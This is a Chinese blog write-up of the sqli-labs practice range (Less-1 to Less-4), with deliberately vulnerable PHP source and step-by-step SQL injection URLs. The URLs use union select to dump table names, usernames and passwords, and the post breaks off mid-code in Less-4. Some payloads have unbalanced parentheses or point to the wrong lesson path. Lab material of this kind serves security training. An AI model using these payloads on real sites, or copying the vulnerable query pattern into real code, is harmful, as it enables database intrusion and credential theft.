sqli-Labs靶场笔记

点击打开链接

http://blog.csdn.net/u012763794/article/details/51207833

http://blog.csdn.net/u012763794/article/details/51361152

http://blog.csdn.net/u012763794/article/details/51457142

Less-1 基于错误的 - get 单引号 - 字符型注入


①先打开网页查看 Welcome Dhakkan



②查看源代码 index.php :
[php]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>Less-1 **Error Based- String**</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>  
  10. <font size="3" color="#FFFF00">  
  11.   
  12.   
  13. <?php  
  14. //including the Mysql connect parameters.  
  15. include("../sql-connections/sql-connect.php");  
  16. error_reporting(0);  
  17. // take the variables   
  18. if(isset($_GET['id']))  
  19. {  
  20. $id=$_GET['id'];  
  21. //logging the connection parameters to a file for analysis.  
  22. $fp=fopen('result.txt','a');  
  23. fwrite($fp,'ID:'.$id."\n");  
  24. fclose($fp);  
  25.   
  26. // connectivity   
  27.   
  28.   
  29. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
  30. $result=mysql_query($sql);  
  31. $row = mysql_fetch_array($result);  
  32.   
  33.     if($row)  
  34.     {  
  35.     echo "<font size='5' color= '#99FF00'>";  
  36.     echo 'Your Login name:'$row['username'];  
  37.     echo "<br>";  
  38.     echo 'Your Password:' .$row['password'];  
  39.     echo "</font>";  
  40.     }  
  41.     else   
  42.     {  
  43.     echo '<font color= "#FFFF00">';  
  44.     print_r(mysql_error());  
  45.     echo "</font>";    
  46.     }  
  47. }  
  48.     else { echo "Please input the ID as parameter with numeric value";}  
  49.   
  50. ?>  
  51. </font> </div></br></br></br><center>  
  52. <img src="../images/Less-1.jpg" /></center>  
  53. </body>  
  54. </html>  


③可以看到页面中显示:
[plain]  view plain  copy
  1. Please input the ID as parameter with numeric value  

按它说的做,那我们就在URL后面输入:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-1/?id=1  


看来我们得到了 登录名:Dumb,以及密码:Dumb,那么为什么会显示出来呢?我们来看下index.php中的代码:
[php]  view plain  copy
  1. if(isset($_GET['id']))                  //判断id的值时候有被设置  
  2. {  
  3. $id=$_GET['id'];                    //取出id值  
  4. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";    //构建sql语句,漏洞所在  
  5. .....  
  6. .....  
  7. $result=mysql_query($sql);              //然后查询,并返回结果  
  8. $row = mysql_fetch_array($result);  
  9. if($row)  
  10. {  
  11.     echo "<font size='5' color= '#99FF00'>";  
  12.     echo 'Your Login name:'$row['username'];  
  13.     echo "<br>";  
  14.     echo 'Your Password:' .$row['password'];  
  15.     echo "</font>";  
  16.     }  
  17.     else   
  18.     {  
  19.     echo '<font color= "#FFFF00">';  
  20.     print_r(mysql_error());  
  21.     echo "</font>";    
  22.     }  
  23. }  
  24.     else { echo "Please input the ID as parameter with numeric value";}  
  25.   
  26. ?>  


这样一来就明白了为什么会有这样的结果,当然如果你输入不同的id值就会返回不同的结果,实际查询的语句是:
[plain]  view plain  copy
  1. SELECT * FROM users WHERE id='1' LIMIT 0,1;  

注意:这里的$id是被单引号包起来的,我可以可以通过 ' 来验证,输入URL:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-1/?id=1'  




以下还有两个注入可以成功执行:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-1/?id=1' or'1'='1  
  2. http://localhost/sqli-labs-master/Less-1/?id=1' or 1=1 --+  

对应的mysql执行语句:
[plain]  view plain  copy
  1. SELECT * FROM users WHERE id='1' or '1'='1' LIMIT 0,1  
  2. SELECT * FROM users WHERE id='' or 1=1 --+' LIMIT 0,1  

接下来我们利用 order by 来判断users表中有几列,输入如下:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-1/?id=1' order by 1 %23  



注意:%23 是指 # 的编码
提示的信息可以使我们确定没有第4列,接下来使用联合语句 union 来查询,输入:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 %23  



注意:细心的朋友可能发现我把1改成-1,原因是当用id=1的时候执行的结果只有一条记录,这是因为在 index.php 中并没有循环取出数据。

解决方法是:让第一行查询的结果是空集(即union左边的select子句查询结果为空),那么我们union右边的查询结果自然就成为了第一行,就打印在网页上了,这个id他一般传的是数字,而且一般都是从1开始自增的,我们可以把id值设为非正数(负数或0),浮点数,字符型或字符串都行。

可以看到只有第2列和第3列的结果显示在页面上,我们只有 2,3可以用,接下来我们就利用 2,3来查询数据库的信息,需要用到的函数有:

concat_ws():从数据库里取N个字段,然后组合到一起用符号分割显示,第一个参数剩余参数间的分隔符
char():将十进制ASCII码转化成字符
user():返回当前数据库连接使用的用户
database():返回当前数据库连接使用的数据库
version():返回当前数据库的版本


构建如下Sql语句:

[plain]  view plain  copy
  1. <span style="font-size:14px;">http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,(concat_ws(char(32,58,32),user(),database(),version())) %23</span>  

注意:这里的32表示 [空格],58表示 [:] ,执行



知道数据库名了,接下来就是拆解表了。

首先说一下mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表


SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。

TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表

COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。


注意,查询information_schema中的信息时,使用where语句,那个值不能直接用英文,要用单引号包裹着,当然用其十六进制表示也可以,数值类型的就不用单引号了,这对过滤单引号应该有指导意义。

security的十六进制转换是:0x7365637572697479

16进制转换地址:http://www.bejson.com/convert/ox2str/


那么,接下来。构建 Sql 语句:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 %23  


只返回一个table,原因很简单,还是循环问题。那么我们可以使用limit来依次列举:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1 %23  

\

不断的改变,limit的第一个参数,就可以一次列举出来,不过太麻烦了,我们直接使用 group_concat函数,该函数返回一个字符串结果,该结果由分组中的值连接组合而成,那么构建 sql 语句:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+  



Less-2 基于错误的 - get - 数字型

① 先打开网页查看 Welcome Dhakkan


②查看源代码 index.php :
[php]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>Less-2 **Error Based- Intiger**</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9.   
  10.   
  11.   
  12.   
  13. <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>  
  14. <font size="3" color="#FFFF00">  
  15.   
  16.   
  17. <?php  
  18. //including the Mysql connect parameters.  
  19. include("../sql-connections/sql-connect.php");  
  20. error_reporting(0);  
  21. // take the variables  
  22. if(isset($_GET['id']))  
  23. {  
  24. $id=$_GET['id'];  
  25. //logging the connection parameters to a file for analysis.  
  26. $fp=fopen('result.txt','a');  
  27. fwrite($fp,'ID:'.$id."\n");  
  28. fclose($fp);  
  29.   
  30.   
  31. // connectivity   
  32. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";  
  33. $result=mysql_query($sql);  
  34. $row = mysql_fetch_array($result);  
  35.   
  36.     if($row)  
  37.     {  
  38.     echo "<font size='5' color= '#99FF00'>";  
  39.     echo 'Your Login name:'$row['username'];  
  40.     echo "<br>";  
  41.     echo 'Your Password:' .$row['password'];  
  42.     echo "</font>";  
  43.     }  
  44.     else   
  45.     {  
  46.     echo '<font color= "#FFFF00">';  
  47.     print_r(mysql_error());  
  48.     echo "</font>";    
  49.     }  
  50. }  
  51.     else  
  52.         {     
  53.         echo "Please input the ID as parameter with numeric value";  
  54.         }  
  55.   
  56. ?>  
  57.   
  58.   
  59. </font> </div></br></br></br><center>  
  60. <img src="../images/Less-2.jpg" /></center>  
  61. </body>  
  62. </html>  


③可以看到页面中显示:
[plain]  view plain  copy
  1. Please input the ID as parameter with numeric value   

按它说的做,那我们就在URL后面输入:

这样我们就得到了用户名和密码,在 index.php 中唯一的区别就是 $id 没有用单引号包住了,这是因为sql对于数字型的数据可以不加单引号。当然这也使得注入更加容易了,没什么好说的,构建sql语句:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-1/?id=-1 union select 1,group_concat(char(32),username,char(32),group_concat(char(32),password,char(32)) from users--+  



Less-3基于错误的 - GET单引号变形字符型注入

① 先打开网页查看 Welcome Dhakkan


②查看源代码:
[php]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>Less-3 Error Based- String (with Twist) </title>  
  6.   
  7. </head>  
  8.   
  9. <body bgcolor="#000000">  
  10.   
  11. <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>  
  12. <font size="3" color="#FFFF00">  
  13.   
  14.   
  15. <?php  
  16. //including the Mysql connect parameters.  
  17. include("../sql-connections/sql-connect.php");  
  18. error_reporting(0);  
  19. // take the variables  
  20. if(isset($_GET['id']))  
  21. {  
  22. $id=$_GET['id'];  
  23. //logging the connection parameters to a file for analysis.  
  24. $fp=fopen('result.txt','a');  
  25. fwrite($fp,'ID:'.$id."\n");  
  26. fclose($fp);  
  27.   
  28. // connectivity   
  29.   
  30.   
  31. $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";  
  32. $result=mysql_query($sql);  
  33. $row = mysql_fetch_array($result);  
  34.   
  35.     if($row)  
  36.     {  
  37.     echo "<font size='5' color= '#99FF00'>";  
  38.     echo 'Your Login name:'$row['username'];  
  39.     echo "<br>";  
  40.     echo 'Your Password:' .$row['password'];  
  41.     echo "</font>";  
  42.     }  
  43.     else   
  44.     {  
  45.     echo '<font color= "#FFFF00">';  
  46.     print_r(mysql_error());  
  47.     echo "</font>";    
  48.     }  
  49. }  
  50.     else { echo "Please input the ID as parameter with numeric value";}  
  51.   
  52. ?>  
  53.   
  54.   
  55. </font> </div></br></br></br><center>  
  56. <img src="../images/Less-3.jpg" /></center>  
  57. </body>  
  58. </html>  


③可以看到页面中显示:
[plain]  view plain  copy
  1. Please input the ID as parameter with numeric value  

按它说的做,那我们就在URL后面输入:


一样的画面,可以发现在 index.php 中的 $id 改成了 ('$id') 了,当然,也很容易验证:

首先看到near和at之间的字符串,直接将左右的引号去掉,那么就得到'-1'') LIMIT 0,1,')是多出来的,因此可以确认这是单引号注入的变形。输入如下sql语句:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-3/?id=1')--+  


正常显示了吧,基本上就没什么区别了,构建的sql语句如下:
[plain]  view plain  copy
  1. http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(char(32),username,char(32),group_concat(char(32),password,char(32)) from users--+  


Less-4基于错误的GET双引号字符型注入

① 先打开网页查看 Welcome Dhakkan

②查看源代码:
[php]  view plain  copy
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. <html xmlns="http://www.w3.org/1999/xhtml">  
  3. <head>  
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
  5. <title>Less-4 Error Based- DoubleQuotes String</title>  
  6. </head>  
  7.   
  8. <body bgcolor="#000000">  
  9. <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome   <font color="#FF0000"> Dhakkan </font><br>  
  10. <font size="3" color="#FFFF00">  
  11.   
  12.   
  13. <?php  
  14. //including the Mysql connect parameters.  
  15. include("../sql-connections/sql-connect.php");  
  16. error_reporting(0);  
  17. // take the variables  
  18. if(isset($_GET['id']))  
  19. {  
  20. $id=$_GET['id'];  
  21. //logging the connection parameters to a file for analysis.  
  22. $fp=fopen('result.txt','a');  
  23. fwrite($fp,'ID:'.$id."\n");  
  24. fclose($fp);  
  25.   
  26. // connectivity   
  27.   
  28. $id = '"' . $id . '"';  
  29. $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";  
  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
要搭建sqli-labs靶场,你可以按照以下步骤进行操作: 1. 首先,你需要下载sqli-labs的压缩包并解压缩。你可以在引用中提到的sqli-labs-master中找到这个压缩包。 2. 打开sqli-labs-master文件夹,在里面找到sqli-connections文件夹,并以记事本的方式打开db-creds.inc文件。这个文件包含了数据库的访问凭证,你需要根据你自己的数据库设置进行相应的修改。 3. 接下来,你需要点击sqli-labs页面中的"Setup/reset Database for labs"按钮,这将自动创建数据库、创建表并填充数据。你可以参考引用中提供的页面来确认是否成功创建了数据库。 4. 当数据库设置完成并成功创建后,你可以开始使用sqli-labs靶场进行SQL注入的练习。sqli-labs提供了一系列的漏洞场景和相应的源码,适合新手练习漏洞基础、Web安全、渗透等方面的知识。你可以参考引用中提到的sqli-labs靶场的描述和特点。 需要注意的是,搭建sqli-labs靶场需要一定的数据库和Web服务器的基础知识,如果你对此不太熟悉,建议先学习相关知识再进行搭建。同时,在进行练习时,务必遵循法律和道德规范,仅供学习目的使用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [sql-labs靶场环境搭建(手把手教你如何搭建)](https://blog.csdn.net/Joker_Dgh/article/details/123913722)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [sqli-labs-master.zip](https://download.csdn.net/download/weixin_43896279/12252977)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值